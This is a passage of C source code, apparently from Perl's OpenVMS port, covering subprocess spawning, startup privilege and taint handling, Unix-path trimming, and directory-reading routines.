char subcmd[2*MAX_DCL_LINE_LENGTH], *p, *q;
int sts, j, l, ismcr, quote, tquote = 0;
sts = setup_cmddsc(aTHX_ cmargv[0],0,"e,&vmscmd);
vms_execfree(vmscmd);
j = l = 0;
p = subcmd;
q = cmargv[0];
ismcr = q && toUPPER_A(*q) == 'M' && toUPPER_A(*(q+1)) == 'C'
&& toUPPER_A(*(q+2)) == 'R' && !*(q+3);
while (q && l < MAX_DCL_LINE_LENGTH) {
if (!*q) {
if (j > 0 && quote) {
*p++ = '"';
l++;
}
q = cmargv[++j];
if (q) {
if (ismcr && j > 1) quote = 1;
tquote = (strchr(q,' ')) != NULL || *q == '\0';
*p++ = ' ';
l++;
if (quote || tquote) {
*p++ = '"';
l++;
}
}
} else {
if ((quote||tquote) && *q == '"') {
*p++ = '"';
l++;
}
*p++ = *q++;
l++;
}
}
*p = '\0';
fp = safe_popen(aTHX_ subcmd,"wbF",&sts);
if (fp == NULL) {
PerlIO_printf(Perl_debug_log,"Can't open output pipe (status %d)",sts);
}
}
static int
background_process(pTHX_ int argc, char **argv)
{
char command[MAX_DCL_SYMBOL + 1] = "$";
$DESCRIPTOR(value, "");
static $DESCRIPTOR(cmd, "BACKGROUND$COMMAND");
static $DESCRIPTOR(null, "NLA0:");
static $DESCRIPTOR(pidsymbol, "SHELL_BACKGROUND_PID");
char pidstring[80];
$DESCRIPTOR(pidstr, "");
int pid;
unsigned long int flags = 17, one = 1, retsts;
int len;
len = my_strlcat(command, argv[0], sizeof(command));
while (--argc && (len < MAX_DCL_SYMBOL))
{
my_strlcat(command, " \"", sizeof(command));
my_strlcat(command, *(++argv), sizeof(command));
len = my_strlcat(command, "\"", sizeof(command));
}
value.dsc$a_pointer = command;
value.dsc$w_length = strlen(value.dsc$a_pointer);
_ckvmssts_noperl(lib$set_symbol(&cmd, &value));
retsts = lib$spawn(&cmd, &null, 0, &flags, 0, &pid);
if (retsts == 0x38250) { /* DCL-W-NOTIFY - We must be BATCH, so retry */
_ckvmssts_noperl(lib$spawn(&cmd, &null, 0, &one, 0, &pid));
}
else {
_ckvmssts_noperl(retsts);
}
#ifdef ARGPROC_DEBUG
PerlIO_printf(Perl_debug_log, "%s\n", command);
#endif
sprintf(pidstring, "%08X", pid);
PerlIO_printf(Perl_debug_log, "%s\n", pidstring);
pidstr.dsc$a_pointer = pidstring;
pidstr.dsc$w_length = strlen(pidstr.dsc$a_pointer);
lib$set_symbol(&pidsymbol, &pidstr);
return(SS$_NORMAL);
}
/*}}}*/
/***** End of code taken from Mark Pizzolato's argproc.c package *****/
/* OS-specific initialization at image activation (not thread startup) */
/* Older VAXC header files lack these constants */
#ifndef JPI$_RIGHTS_SIZE
# define JPI$_RIGHTS_SIZE 817
#endif
#ifndef KGB$M_SUBSYSTEM
# define KGB$M_SUBSYSTEM 0x8
#endif
/* Avoid Newx() in vms_image_init as thread context has not been initialized. */
/*{{{void vms_image_init(int *, char ***)*/
void
vms_image_init(int *argcp, char ***argvp)
{
int status;
char eqv[LNM$C_NAMLENGTH+1] = "";
unsigned int len, tabct = 8, tabidx = 0;
unsigned long int *mask, iosb[2], i, rlst[128], rsz;
unsigned long int iprv[(sizeof(union prvdef) + sizeof(unsigned long int) - 1) / sizeof(unsigned long int)];
unsigned short int dummy, rlen;
struct dsc$descriptor_s **tabvec;
#if defined(PERL_IMPLICIT_CONTEXT)
pTHX = NULL;
#endif
struct itmlst_3 jpilist[4] = { {sizeof iprv, JPI$_IMAGPRIV, iprv, &dummy},
{sizeof rlst, JPI$_RIGHTSLIST, rlst, &rlen},
{ sizeof rsz, JPI$_RIGHTS_SIZE, &rsz, &dummy},
{ 0, 0, 0, 0} };
#ifdef KILL_BY_SIGPRC
Perl_csighandler_init();
#endif
_ckvmssts_noperl(sys$getjpiw(0,NULL,NULL,jpilist,iosb,NULL,NULL));
_ckvmssts_noperl(iosb[0]);
for (i = 0; i < sizeof iprv / sizeof(unsigned long int); i++) {
if (iprv[i]) { /* Running image installed with privs? */
_ckvmssts_noperl(sys$setprv(0,iprv,0,NULL)); /* Turn 'em off. */
will_taint = TRUE;
break;
}
}
/* Rights identifiers might trigger tainting as well. */
if (!will_taint && (rlen || rsz)) {
while (rlen < rsz) {
/* We didn't get all the identifiers on the first pass. Allocate a
* buffer much larger than $GETJPI wants (rsz is size in bytes that
* were needed to hold all identifiers at time of last call; we'll
* allocate that many unsigned long ints), and go back and get 'em.
* If it gave us less than it wanted to despite ample buffer space,
* something's broken. Is your system missing a system identifier?
*/
if (rsz <= jpilist[1].buflen) {
/* Perl_croak accvios when used this early in startup. */
fprintf(stderr, "vms_image_init: $getjpiw refuses to store RIGHTSLIST of %u bytes in buffer of %u bytes.\n%s",
rsz, (unsigned long) jpilist[1].buflen,
"Check your rights database for corruption.\n");
exit(SS$_ABORT);
}
if (jpilist[1].bufadr != rlst) PerlMem_free(jpilist[1].bufadr);
jpilist[1].bufadr = mask = (unsigned long int *) PerlMem_malloc(rsz * sizeof(unsigned long int));
if (mask == NULL) _ckvmssts_noperl(SS$_INSFMEM);
jpilist[1].buflen = rsz * sizeof(unsigned long int);
_ckvmssts_noperl(sys$getjpiw(0,NULL,NULL,&jpilist[1],iosb,NULL,NULL));
_ckvmssts_noperl(iosb[0]);
}
mask = (unsigned long int *)jpilist[1].bufadr;
/* Check attribute flags for each identifier (2nd longword); protected
* subsystem identifiers trigger tainting.
*/
for (i = 1; i < (rlen + sizeof(unsigned long int) - 1) / sizeof(unsigned long int); i += 2) {
if (mask[i] & KGB$M_SUBSYSTEM) {
will_taint = TRUE;
break;
}
}
if (mask != rlst) PerlMem_free(mask);
}
/* When Perl is in decc_filename_unix_report mode and is run from a concealed
* logical, some versions of the CRTL will add a phanthom /000000/
* directory. This needs to be removed.
*/
if (DECC_FILENAME_UNIX_REPORT) {
char * zeros;
int ulen;
ulen = strlen(argvp[0][0]);
if (ulen > 7) {
zeros = strstr(argvp[0][0], "/000000/");
if (zeros != NULL) {
int mlen;
mlen = ulen - (zeros - argvp[0][0]) - 7;
memmove(zeros, &zeros[7], mlen);
ulen = ulen - 7;
argvp[0][0][ulen] = '\0';
}
}
/* It also may have a trailing dot that needs to be removed otherwise
* it will be converted to VMS mode incorrectly.
*/
ulen--;
if ((argvp[0][0][ulen] == '.') && (DECC_READDIR_DROPDOTNOTYPE))
argvp[0][0][ulen] = '\0';
}
/* We need to use this hack to tell Perl it should run with tainting,
* since its tainting flag may be part of the PL_curinterp struct, which
* hasn't been allocated when vms_image_init() is called.
*/
if (will_taint) {
char **newargv, **oldargv;
oldargv = *argvp;
newargv = (char **) PerlMem_malloc(((*argcp)+2) * sizeof(char *));
if (newargv == NULL) _ckvmssts_noperl(SS$_INSFMEM);
newargv[0] = oldargv[0];
newargv[1] = (char *)PerlMem_malloc(3 * sizeof(char));
if (newargv[1] == NULL) _ckvmssts_noperl(SS$_INSFMEM);
strcpy(newargv[1], "-T");
Copy(&oldargv[1],&newargv[2],(*argcp)-1,char **);
(*argcp)++;
newargv[*argcp] = NULL;
/* We orphan the old argv, since we don't know where it's come from,
* so we don't know how to free it.
*/
*argvp = newargv;
}
else { /* Did user explicitly request tainting? */
int i;
char *cp, **av = *argvp;
for (i = 1; i < *argcp; i++) {
if (*av[i] != '-') break;
for (cp = av[i]+1; *cp; cp++) {
if (*cp == 'T') { will_taint = 1; break; }
else if ( (*cp == 'd' || *cp == 'V') && *(cp+1) == ':' ||
strchr("DFIiMmx",*cp)) break;
}
if (will_taint) break;
}
}
for (tabidx = 0;
len = my_trnlnm("PERL_ENV_TABLES",eqv,tabidx);
tabidx++) {
if (!tabidx) {
tabvec = (struct dsc$descriptor_s **)
PerlMem_malloc(tabct * sizeof(struct dsc$descriptor_s *));
if (tabvec == NULL) _ckvmssts_noperl(SS$_INSFMEM);
}
else if (tabidx >= tabct) {
tabct += 8;
tabvec = (struct dsc$descriptor_s **) PerlMem_realloc(tabvec, tabct * sizeof(struct dsc$descriptor_s *));
if (tabvec == NULL) _ckvmssts_noperl(SS$_INSFMEM);
}
tabvec[tabidx] = (struct dsc$descriptor_s *) PerlMem_malloc(sizeof(struct dsc$descriptor_s));
if (tabvec[tabidx] == NULL) _ckvmssts_noperl(SS$_INSFMEM);
tabvec[tabidx]->dsc$w_length = len;
tabvec[tabidx]->dsc$b_dtype = DSC$K_DTYPE_T;
tabvec[tabidx]->dsc$b_class = DSC$K_CLASS_S;
tabvec[tabidx]->dsc$a_pointer = (char *)PerlMem_malloc(len + 1);
if (tabvec[tabidx]->dsc$a_pointer == NULL) _ckvmssts_noperl(SS$_INSFMEM);
my_strlcpy(tabvec[tabidx]->dsc$a_pointer, eqv, len + 1);
}
if (tabidx) { tabvec[tabidx] = NULL; env_tables = tabvec; }
getredirection(argcp,argvp);
#if defined(USE_ITHREADS) && ( defined(__DECC) || defined(__DECCXX) )
{
# include <reentrancy.h>
decc$set_reentrancy(C$C_MULTITHREAD);
}
#endif
return;
}
/*}}}*/
/* trim_unixpath()
* Trim Unix-style prefix off filespec, so it looks like what a shell
* glob expansion would return (i.e. from specified prefix on, not
* full path). Note that returned filespec is Unix-style, regardless
* of whether input filespec was VMS-style or Unix-style.
*
* fspec is filespec to be trimmed, and wildspec is wildcard spec used to
* determine prefix (both may be in VMS or Unix syntax). opts is a bit
* vector of options; at present, only bit 0 is used, and if set tells
* trim unixpath to try the current default directory as a prefix when
* presented with a possibly ambiguous ... wildcard.
*
* Returns !=0 on success, with trimmed filespec replacing contents of
* fspec, and 0 on failure, with contents of fpsec unchanged.
*/
/*{{{int trim_unixpath(char *fspec, char *wildspec, int opts)*/
int
Perl_trim_unixpath(pTHX_ char *fspec, const char *wildspec, int opts)
{
char *unixified, *unixwild, *tplate, *base, *end, *cp1, *cp2;
int tmplen, reslen = 0, dirs = 0;
if (!wildspec || !fspec) return 0;
unixwild = (char *)PerlMem_malloc(VMS_MAXRSS);
if (unixwild == NULL) _ckvmssts_noperl(SS$_INSFMEM);
tplate = unixwild;
if (strpbrk(wildspec,"]>:") != NULL) {
if (int_tounixspec(wildspec, unixwild, NULL) == NULL) {
PerlMem_free(unixwild);
return 0;
}
}
else {
my_strlcpy(unixwild, wildspec, VMS_MAXRSS);
}
unixified = (char *)PerlMem_malloc(VMS_MAXRSS);
if (unixified == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (strpbrk(fspec,"]>:") != NULL) {
if (int_tounixspec(fspec, unixified, NULL) == NULL) {
PerlMem_free(unixwild);
PerlMem_free(unixified);
return 0;
}
else base = unixified;
/* reslen != 0 ==> we had to unixify resultant filespec, so we must
* check to see that final result fits into (isn't longer than) fspec */
reslen = strlen(fspec);
}
else base = fspec;
/* No prefix or absolute path on wildcard, so nothing to remove */
if (!*tplate || *tplate == '/') {
PerlMem_free(unixwild);
if (base == fspec) {
PerlMem_free(unixified);
return 1;
}
tmplen = strlen(unixified);
if (tmplen > reslen) {
PerlMem_free(unixified);
return 0; /* not enough space */
}
/* Copy unixified resultant, including trailing NUL */
memmove(fspec,unixified,tmplen+1);
PerlMem_free(unixified);
return 1;
}
for (end = base; *end; end++) ; /* Find end of resultant filespec */
if ((cp1 = strstr(tplate,".../")) == NULL) { /* No ...; just count elts */
for (cp1 = tplate; *cp1; cp1++) if (*cp1 == '/') dirs++;
for (cp1 = end ;cp1 >= base; cp1--)
if ((*cp1 == '/') && !dirs--) /* postdec so we get front of rel path */
{ cp1++; break; }
if (cp1 != fspec) memmove(fspec,cp1, end - cp1 + 1);
PerlMem_free(unixified);
PerlMem_free(unixwild);
return 1;
}
else {
char *tpl, *lcres;
char *front, *nextell, *lcend, *lcfront, *ellipsis = cp1;
int ells = 1, totells, segdirs, match;
struct dsc$descriptor_s wilddsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, NULL},
resdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
while ((cp1 = strstr(ellipsis+4,".../")) != NULL) {ellipsis = cp1; ells++;}
totells = ells;
for (cp1 = ellipsis+4; *cp1; cp1++) if (*cp1 == '/') dirs++;
tpl = (char *)PerlMem_malloc(VMS_MAXRSS);
if (tpl == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (ellipsis == tplate && opts & 1) {
/* Template begins with an ellipsis. Since we can't tell how many
* directory names at the front of the resultant to keep for an
* arbitrary starting point, we arbitrarily choose the current
* default directory as a starting point. If it's there as a prefix,
* clip it off. If not, fall through and act as if the leading
* ellipsis weren't there (i.e. return shortest possible path that
* could match template).
*/
if (getcwd(tpl, (VMS_MAXRSS - 1),0) == NULL) {
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
return 0;
}
if (!DECC_EFS_CASE_PRESERVE) {
for (cp1 = tpl, cp2 = base; *cp1 && *cp2; cp1++,cp2++)
if (toLOWER_L1(*cp1) != toLOWER_L1(*cp2)) break;
}
segdirs = dirs - totells; /* Min # of dirs we must have left */
for (front = cp2+1; *front; front++) if (*front == '/') segdirs--;
if (*cp1 == '\0' && *cp2 == '/' && segdirs < 1) {
memmove(fspec,cp2+1,end - cp2);
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
return 1;
}
}
/* First off, back up over constant elements at end of path */
if (dirs) {
for (front = end ; front >= base; front--)
if (*front == '/' && !dirs--) { front++; break; }
}
lcres = (char *)PerlMem_malloc(VMS_MAXRSS);
if (lcres == NULL) _ckvmssts_noperl(SS$_INSFMEM);
for (cp1=tplate,cp2=lcres; *cp1 && cp2 <= lcres + (VMS_MAXRSS - 1);
cp1++,cp2++) {
if (!DECC_EFS_CASE_PRESERVE) {
*cp2 = toLOWER_L1(*cp1); /* Make lc copy for match */
}
else {
*cp2 = *cp1;
}
}
if (cp1 != '\0') {
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
return 0; /* Path too long. */
}
lcend = cp2;
*cp2 = '\0'; /* Pick up with memcpy later */
lcfront = lcres + (front - base);
/* Now skip over each ellipsis and try to match the path in front of it. */
while (ells--) {
for (cp1 = ellipsis - 2; cp1 >= tplate; cp1--)
if (*(cp1) == '.' && *(cp1+1) == '.' &&
*(cp1+2) == '.' && *(cp1+3) == '/' ) break;
if (cp1 < tplate) break; /* template started with an ellipsis */
if (cp1 + 4 == ellipsis) { /* Consecutive ellipses */
ellipsis = cp1; continue;
}
wilddsc.dsc$a_pointer = tpl;
wilddsc.dsc$w_length = resdsc.dsc$w_length = ellipsis - 1 - cp1;
nextell = cp1;
for (segdirs = 0, cp2 = tpl;
cp1 <= ellipsis - 1 && cp2 <= tpl + (VMS_MAXRSS-1);
cp1++, cp2++) {
if (*cp1 == '?') *cp2 = '%'; /* Substitute VMS' wildcard for Unix' */
else {
if (!DECC_EFS_CASE_PRESERVE) {
*cp2 = toLOWER_L1(*cp1); /* else lowercase for match */
}
else {
*cp2 = *cp1; /* else preserve case for match */
}
}
if (*cp2 == '/') segdirs++;
}
if (cp1 != ellipsis - 1) {
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
return 0; /* Path too long */
}
/* Back up at least as many dirs as in template before matching */
for (cp1 = lcfront - 1; segdirs && cp1 >= lcres; cp1--)
if (*cp1 == '/' && !segdirs--) { cp1++; break; }
for (match = 0; cp1 > lcres;) {
resdsc.dsc$a_pointer = cp1;
if (str$match_wild(&wilddsc,&resdsc) == STR$_MATCH) {
match++;
if (match == 1) lcfront = cp1;
}
for ( ; cp1 >= lcres; cp1--) if (*cp1 == '/') { cp1++; break; }
}
if (!match) {
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
return 0; /* Can't find prefix ??? */
}
if (match > 1 && opts & 1) {
/* This ... wildcard could cover more than one set of dirs (i.e.
* a set of similar dir names is repeated). If the template
* contains more than 1 ..., upstream elements could resolve the
* ambiguity, but it's not worth a full backtracking setup here.
* As a quick heuristic, clip off the current default directory
* if it's present to find the trimmed spec, else use the
* shortest string that this ... could cover.
*/
char def[NAM$C_MAXRSS+1], *st;
if (getcwd(def, sizeof def,0) == NULL) {
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
PerlMem_free(tpl);
return 0;
}
if (!DECC_EFS_CASE_PRESERVE) {
for (cp1 = def, cp2 = base; *cp1 && *cp2; cp1++,cp2++)
if (toLOWER_L1(*cp1) != toLOWER_L1(*cp2)) break;
}
segdirs = dirs - totells; /* Min # of dirs we must have left */
for (st = cp2+1; *st; st++) if (*st == '/') segdirs--;
if (*cp1 == '\0' && *cp2 == '/') {
memmove(fspec,cp2+1,end - cp2);
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
return 1;
}
/* Nope -- stick with lcfront from above and keep going. */
}
}
memmove(fspec,base + (lcfront - lcres), lcend - lcfront + 1);
PerlMem_free(tpl);
PerlMem_free(unixified);
PerlMem_free(unixwild);
PerlMem_free(lcres);
return 1;
}
} /* end of trim_unixpath() */
/*}}}*/
/*
* VMS readdir() routines.
* Written by Rich $alz, <[email protected]> in August, 1990.
*
* 21-Jul-1994 Charles Bailey [email protected]
* Minor modifications to original routines.
*/
/* readdir may have been redefined by reentr.h, so make sure we get
* the local version for what we do here.
*/
#ifdef readdir
# undef readdir
#endif
#if !defined(PERL_IMPLICIT_CONTEXT)
# define readdir Perl_readdir
#else
# define readdir(a) Perl_readdir(aTHX_ a)
#endif
/* Number of elements in vms_versions array */
#define VERSIZE(e) (sizeof e->vms_versions / sizeof e->vms_versions[0])
/*
* Open a directory, return a handle for later use.
*/
/*{{{ DIR *opendir(char*name) */
DIR *
Perl_opendir(pTHX_ const char *name)
{
DIR *dd;
char *dir;
Stat_t sb;
Newx(dir, VMS_MAXRSS, char);
if (int_tovmspath(name, dir, NULL) == NULL) {
Safefree(dir);
return NULL;
}
/* Check access before stat; otherwise stat does not
* accurately report whether it's a directory.
*/
if (!strstr(dir, "::") /* sys$check_access doesn't do remotes */
&& !cando_by_name_int(S_IRUSR,0,dir,PERL_RMSEXPAND_M_VMS_IN)) {
/* cando_by_name has already set errno */
Safefree(dir);
return NULL;
}
if (flex_stat(dir,&sb) == -1) return NULL;
if (!S_ISDIR(sb.st_mode)) {
Safefree(dir);
set_errno(ENOTDIR); set_vaxc_errno(RMS$_DIR);
return NULL;
}
/* Get memory for the handle, and the pattern. */
Newx(dd,1,DIR);
Newx(dd->pattern,strlen(dir)+sizeof "*.*" + 1,char);
/* Fill in the fields; mainly playing with the descriptor. */
sprintf(dd->pattern, "%s*.*",dir);
Safefree(dir);
dd->context = 0;
dd->count = 0;
dd->flags = 0;
/* By saying we want the result of readdir() in unix format, we are really
* saying we want all the escapes removed, translating characters that
* must be escaped in a VMS-format name to their unescaped form, which is
* presumably allowed in a Unix-format name.
*/
dd->flags = DECC_FILENAME_UNIX_REPORT ? PERL_VMSDIR_M_UNIXSPECS : 0;
dd->pat.dsc$a_pointer = dd->pattern;
dd->pat.dsc$w_length = strlen(dd->pattern);
dd->pat.dsc$b_dtype = DSC$K_DTYPE_T;
dd->pat.dsc$b_class = DSC$K_CLASS_S;
#if defined(USE_ITHREADS)
Newx(dd->mutex,1,perl_mutex);
MUTEX_INIT( (perl_mutex *) dd->mutex );
#else
dd->mutex = NULL;
#endif
return dd;
} /* end of opendir() */
/*}}}*/
/*
* Set the flag to indicate we want versions or not.
*/
/*{{{ void vmsreaddirversions(DIR *dd, int flag)*/
void
vmsreaddirversions(DIR *dd, int flag)
{
if (flag)
dd->flags |= PERL_VMSDIR_M_VERSIONS;
else
dd->flags &= ~PERL_VMSDIR_M_VERSIONS;
}
/*}}}*/
/*
* Free up an opened directory.
*/
/*{{{ void closedir(DIR *dd)*/
void
Perl_closedir(DIR *dd)
{
int sts;
sts = lib$find_file_end(&dd->context);
Safefree(dd->pattern);
#if defined(USE_ITHREADS)
MUTEX_DESTROY( (perl_mutex *) dd->mutex );
Safefree(dd->mutex);
#endif
Safefree(dd);
}
/*}}}*/
/*
* Collect all the version numbers for the current file.
*/
static void
collectversions(pTHX_ DIR *dd)
{
struct dsc$descriptor_s pat;
struct dsc$descriptor_s res;
struct dirent *e;
char *p, *text, *buff;
int i;
unsigned long context, tmpsts;
/* Convenient shorthand. */
e = &dd->entry;
/* Add the version wildcard, ignoring the "*.*" put on before */
i = strlen(dd->pattern);
Newx(text,i + e->d_namlen + 3,char);
my_strlcpy(text, dd->pattern, i + 1);
sprintf(&text[i - 3], "%s;*", e->d_name);
/* Set up the pattern descriptor. */
pat.dsc$a_pointer = text;
pat.dsc$w_length = i + e->d_namlen - 1;
pat.dsc$b_dtype = DSC$K_DTYPE_T;
pat.dsc$b_class = DSC$K_CLASS_S;
/* Set up result descriptor. */
Newx(buff, VMS_MAXRSS, char);
res.dsc$a_pointer = buff;
res.dsc$w_length = VMS_MAXRSS - 1;
res.dsc$b_dtype = DSC$K_DTYPE_T;
res.dsc$b_class = DSC$K_CLASS_S;
/* Read files, collecting versions. */
for (context = 0, e->vms_verscount = 0;
e->vms_verscount < VERSIZE(e);
e->vms_verscount++) {
unsigned long rsts;
unsigned long flags = 0;
#ifdef VMS_LONGNAME_SUPPORT
flags = LIB$M_FIL_LONG_NAMES;
#endif
tmpsts = lib$find_file(&pat, &res, &context, NULL, NULL, &rsts, &flags);
if (tmpsts == RMS$_NMF || context == 0) break;
_ckvmssts(tmpsts);
buff[VMS_MAXRSS - 1] = '\0';
if ((p = strchr(buff, ';')))
e->vms_versions[e->vms_verscount] = atoi(p + 1);
else
e->vms_versions[e->vms_verscount] = -1;
}
_ckvmssts(lib$find_file_end(&context));
Safefree(text);
Safefree(buff);
} /* end of collectversions() */
/*
* Read the next entry from the directory.
*/
/*{{{ struct dirent *readdir(DIR *dd)*/
struct dirent *
Perl_readdir(pTHX_ DIR *dd)
{
struct dsc$descriptor_s res;
char *p, *buff;
unsigned long int tmpsts;
unsigned long rsts;
unsigned long flags = 0;
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
/* Set up result descriptor, and get next file. */
Newx(buff, VMS_MAXRSS, char);
res.dsc$a_pointer = buff;
res.dsc$w_length = VMS_MAXRSS - 1;
res.dsc$b_dtype = DSC$K_DTYPE_T;
res.dsc$b_class = DSC$K_CLASS_S;
#ifdef VMS_LONGNAME_SUPPORT
flags = LIB$M_FIL_LONG_NAMES;
#endif
tmpsts = lib$find_file
(&dd->pat, &res, &dd->context, NULL, NULL, &rsts, &flags);
if (dd->context == 0)
tmpsts = RMS$_NMF; /* None left. (should be set, but make sure) */
if (!(tmpsts & 1)) {
switch (tmpsts) {
case RMS$_NMF:
break; /* no more files considered success */
case RMS$_PRV:
SETERRNO(EACCES, tmpsts); break;
case RMS$_DEV:
SETERRNO(ENODEV, tmpsts); break;
case RMS$_DIR:
SETERRNO(ENOTDIR, tmpsts); break;
case RMS$_FNF: case RMS$_DNF:
SETERRNO(ENOENT, tmpsts); break;
default:
SETERRNO(EVMSERR, tmpsts);
}
Safefree(buff);
return NULL;
}
dd->count++;
/* Force the buffer to end with a NUL, and downcase name to match C convention. */
buff[res.dsc$w_length] = '\0';
p = buff + res.dsc$w_length;
while (--p >= buff) if (!isSPACE_L1(*p)) break;
*p = '\0';
if (!DECC_EFS_CASE_PRESERVE) {
for (p = buff; *p; p++) *p = toLOWER_L1(*p);
}
/* Skip any directory component and just copy the name. */
sts = vms_split_path
(buff,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
if (dd->flags & PERL_VMSDIR_M_UNIXSPECS) {
/* In Unix report mode, remove the ".dir;1" from the name */
/* if it is a real directory. */
if (DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
if (is_dir_ext(e_spec, e_len, vs_spec, vs_len)) {
Stat_t statbuf;
int ret_sts;
ret_sts = flex_lstat(buff, &statbuf);
if ((ret_sts == 0) && S_ISDIR(statbuf.st_mode)) {
e_len = 0;
e_spec[0] = 0;
}
}
}
/* Drop NULL extensions on UNIX file specification */
if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
e_len = 0;
e_spec[0] = '\0';
}
}
memcpy(dd->entry.d_name, n_spec, n_len + e_len);
dd->entry.d_name[n_len + e_len] = '\0';
dd->entry.d_namlen = n_len + e_len;
/* Convert the filename to UNIX format if needed */
if (dd->flags & PERL_VMSDIR_M_UNIXSPECS) {
/* Translate the encoded characters. */
/* Fixme: Unicode handling could result in embedded 0 characters */
if (strchr(dd->entry.d_name, '^') != NULL) {
char new_name[256];
char * q;
p = dd->entry.d_name;
q = new_name;
while (*p != 0) {
int inchars_read, outchars_added;
inchars_read = copy_expand_vms_filename_escape(q, p, &outchars_added);
p += inchars_read;
q += outchars_added;
/* fix-me */
/* if outchars_added > 1, then this is a wide file specification */
/* Wide file specifications need to be passed in Perl */
/* counted strings apparently with a Unicode flag */
}
*q = 0;
dd->entry.d_namlen = my_strlcpy(dd->entry.d_name, new_name, sizeof(dd->entry.d_name));
}
}
dd->entry.vms_verscount = 0;
if (dd->flags & PERL_VMSDIR_M_VERSIONS) collectversions(aTHX_ dd);
Safefree(buff);
return &dd->entry;
} /* end of readdir() */
/*}}}*/
/*
* Read the next entry from the directory -- thread-safe version.
*/
/*{{{ int readdir_r(DIR *dd, struct dirent *entry, struct dirent **result)*/
int
Perl_readdir_r(pTHX_ DIR *dd, struct dirent *entry, struct dirent **result)
{
int retval;
MUTEX_LOCK( (perl_mutex *) dd->mutex );
entry = readdir(dd);
*result = entry;
retval = ( *result == NULL ? errno : 0 );
MUTEX_UNLOCK( (perl_mutex *) dd->mutex );
return retval;
} /* end of readdir_r() */
/*}}}*/
/*
* Return something that can be used in a seekdir later.
*/
/*{{{ long telldir(DIR *dd)*/
long
Perl_telldir(DIR *dd)
{
return dd->count;
}
/*}}}*/
/*
* Return to a spot where we used to be. Brute force.
*/
/*{{{ void seekdir(DIR *dd,long count)*/
void
Perl_seekdir(pTHX_ DIR *dd, long count)
{
int old_flags;
/* If we haven't done anything yet... */
if (dd->count == 0)
return;
/* Remember some state, and clear it. */
old_flags = dd->flags;
dd->flags &= ~PERL_VMSDIR_M_VERSIONS;
_ckvmssts(lib$find_file_end(&dd->context));
dd->context = 0;
/* The increment is in readdir(). */
for (dd->count = 0; dd->count < count; )
readdir(dd);
dd->flags = old_flags;
} /* end of seekdir() */
/*}}}*/
/* VMS subprocess management
*
* my_vfork() - just a vfork(), after setting a flag to record that
* the current script is trying a Unix-style fork/exec.
*
* vms_do_aexec() and vms_do_exec() are called in response to the
* perl 'exec' function. If this follows a vfork call, then they
* call out the regular perl routines in doio.c which do an
* execvp (for those who really want to try this under VMS).
* Otherwise, they do exactly what the perl docs say exec should
* do - terminate the current script and invoke a new command
* (See below for notes on command syntax.)
*
* do_aspawn() and do_spawn() implement the VMS side of the perl
* 'system' function.
*
* Note on command arguments to perl 'exec' and 'system': When handled
* in 'VMSish fashion' (i.e. not after a call to vfork) The args
* are concatenated to form a DCL command string. If the first non-numeric
* arg begins with '$' (i.e. the perl script had "\$ Type" or some such),
* the command string is handed off to DCL directly. Otherwise,
* the first token of the command is taken as the filespec of an image
* to run. The filespec is expanded using a default type of '.EXE' and
* the process defaults for device, directory, etc., and if found, the resultant
* filespec is invoked using the DCL verb 'MCR', and passed the rest of
* the command string as parameters. This is perhaps a bit complicated,
* but I hope it will form a happy medium between what VMS folks expect
* from lib$spawn and what Unix folks expect from exec.
*/
static int vfork_called;
/*{{{int my_vfork(void)*/
int
my_vfork(void)
{
vfork_called++;
return vfork();
}
/*}}}*/
static void
vms_execfree(struct dsc$descriptor_s *vmscmd)
{
if (vmscmd) {
if (vmscmd->dsc$a_pointer) {
PerlMem_free(vmscmd->dsc$a_pointer);
}
PerlMem_free(vmscmd);
}
}
static char *
setup_argstr(pTHX_ SV *really, SV **mark, SV **sp)
{
char *junk, *tmps = NULL, *cmd;
size_t cmdlen = 0;
size_t rlen;
SV **idx;
STRLEN n_a;
idx = mark;
if (really) {
tmps = SvPV(really,rlen);
if (*tmps) {
cmdlen += rlen + 1;
idx++;
}
}
for (idx++; idx <= sp; idx++) {
if (*idx) {
junk = SvPVx(*idx,rlen);
cmdlen += rlen ? rlen + 1 : 0;
}
}
Newx(cmd, cmdlen+1, char);
SAVEFREEPV(cmd);
if (tmps && *tmps) {
my_strlcpy(cmd, tmps, cmdlen + 1);
mark++;
}
else *cmd = '\0';
while (++mark <= sp) {
if (*mark) {
char *s = SvPVx(*mark,n_a);
if (!*s) continue;
if (*cmd) my_strlcat(cmd, " ", cmdlen+1);
my_strlcat(cmd, s, cmdlen+1);
}
}
return cmd;
} /* end of setup_argstr() */
static unsigned long int
setup_cmddsc(pTHX_ const char *incmd, int check_img, int *suggest_quote,
struct dsc$descriptor_s **pvmscmd)
{
char * vmsspec;
char * resspec;
char image_name[NAM$C_MAXRSS+1];
char image_argv[NAM$C_MAXRSS+1];
$DESCRIPTOR(defdsc,".EXE");
$DESCRIPTOR(defdsc2,".");
struct dsc$descriptor_s resdsc;
struct dsc$descriptor_s *vmscmd;
struct dsc$descriptor_s imgdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
unsigned long int cxt = 0, flags = 1, retsts = SS$_NORMAL;
char *s, *rest, *cp, *wordbreak;
char * cmd;
int cmdlen;
int isdcl;
vmscmd = (struct dsc$descriptor_s *)PerlMem_malloc(sizeof(struct dsc$descriptor_s));
if (vmscmd == NULL) _ckvmssts_noperl(SS$_INSFMEM);
